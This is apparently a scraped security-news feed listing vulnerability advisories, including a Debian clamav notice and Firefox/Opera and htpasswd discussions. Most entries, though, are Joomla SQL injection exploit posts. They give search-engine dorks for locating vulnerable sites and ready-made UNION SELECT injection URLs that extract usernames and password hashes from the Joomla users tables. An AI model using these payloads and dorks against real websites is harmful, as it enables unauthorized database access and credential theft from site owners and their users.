[SECURITY] [DSA 1497-1] New clamav packages fix several vulnerabilities

 ( 642 days 22 hours ago)

- Debian Security Advisory DSA-1497-1 securityatdebian.org Moritz Muehlenhoff February 16, 2008 - Package : clamav Vulnerability : several Problem type : local/remote Debian-specific: no CVE Id(s) : CVE-2007-6595 CVE-2008-0318 Several vulnerabilities have been discovered in the Clam anti-virus ...

joomla SQL Injection(com_sg)

 ( 642 days 22 hours ago)

# # joomla SQL Injection(comsg) # # # AUTHOR : SatBUN # # HOME : # # MAİL : hackturkiye.hackturkiyeatgmail.com # # # DORK 1 : allinurl: comsg # # DORK 2 : allinurl: # EXPLOIT : index.php?option=comsg&Itemid=16&task=order&range=3&category=3&pid=-9999999/**/union/**/select/**/0,1,concat(username,0x3a,password),0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,10,11,0x3a,0x3a,14,15,16/**/from/**/josusers/* # SatBUN i AM NOT HACKER SatBUN

joomla SQL Injection(com_emcompose)

 ( 642 days 22 hours ago)

# # joomla SQL Injection(comemcompose) # # # AUTHOR : SatBUN # # HOME 1 : # # MAİL : hackturkiye.hackturkiyeatgmail.com # # # DORK 1 : allinurl: comemcomposer # # DORK 2 : allinurl: # EXPLOIT : -9999999/**/union/**/select/**/concat(username,0x3a,password)/**/from/**/josusers/* # SatBUN i AM NOT HACKER SatBUN

joomla SQL Injection(com_filebase)

 ( 642 days 22 hours ago)

# # joomla SQL Injection(comfilebase) # # # AUTHOR : SatBUN # # HOME : # # MAİL : hackturkiye.hackturkiyeatgmail.com # # # DORK 1 : allinurl: comfilebase # # DORK 2 : allinurl: # EXPLOIT : index.php?option=comfilebase&Itemid=SatBUN&func=selectfolder&filecatid=-1/**/union/**/select/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/mosusers/* # SatBUN i AM NOT HACKER SatBUN

joomla SQL Injection(com_lexikon)

 ( 642 days 22 hours ago)

# # joomla SQL Injection(comlexikon) # # # AUTHOR : SatBUN # # HOME : # # MAİL : hackturkiye.hackturkiyeatgmail.com # # # DORK 1 : allinurl: comlexikon # # DORK 2 : allinurl: # EXPLOIT : index.php?option=comlexikon&id=-1/**/union/**/select/**/concat(username,0x3a,password),concat(username,0x3a,password),concat(username,0x3a,password)/**/from/**/mosusers/* # SatBUN i AM NOT HACKER SatBUN

banpro-dms 1.0 local file inclusion vulnerability

 ( 642 days 22 hours ago)

banpro-dms 1.0 local file inclusion vulnerability download author muuratsalo contact muuratsalo[at]gmail.com exploit

joomla SQL Injection( com_scheduling)

 ( 642 days 22 hours ago)

# # joomla SQL Injection( comscheduling) # # # AUTHOR : SatBUN # # HOME 1 : # # MAİL : hackturkiye.hackturkiyeatgmail.com # # # DORK 1 : allinurl: comscheduling # # DORK 2 : allinurl: # EXPLOIT : index.php?option=comscheduling&Itemid=28&action=viewAbstract&id=-9999999/**/union/**/select/**/0,1,concat(username,0x3a,password),concat(username,0x3a,password),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/**/from/**/mosusers/* # SatBUN i AM NOT HACKER SatBUN

joomla SQL Injection(com_salesrep)

 ( 642 days 22 hours ago)

# # joomla SQL Injection(comsalesrep) # # # AUTHOR : SatBUN # # HOME : # # MAİL : hackturkiye.hackturkiyeatgmail.com # # # DORK 1 : allinurl: comsalesrep # # DORK 2 : allinurl: comsalesrep rid # EXPLOIT : index.php?option=comsalesrep&action=showrep&Itemid=SatBUN&rid=-9999999/**/union/**/select/**/0,concat(username,0x3a,password),0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a/**/from/**/josusers/* # SatBUN i AM NOT HACKER SatBUN

Re[2]: Apache web server 2.2: htpasswd predictable salt weakness

 ( 642 days 22 hours ago)

Dear Peter Watkins, PW> I don't know how small the salt universe would need to be before PW> precomputing dictionaries would be worthwhile (vs. having a botnet only work PW> on crypted passwords already captured), but certainly the obviously weak ...

[HISPASEC] FireFox 2.0.0.11 and Opera 9.50 beta Remote Memory Information Leak, FireFox 2.0.0.11 Remote Denial of Service

 ( 642 days 22 hours ago)

(see video link at the bottom ;>) * Name : FireFox 2.0.0.11 and Opera 9.50 beta Remote Memory Information Leak * : FireFox 2.0.0.11 Remote Denial of Service * Type : Remote Information Disclosure * Impact : Medium / High * Credits: Gynvael Coldwind / Hispasec / Team Vexillium ...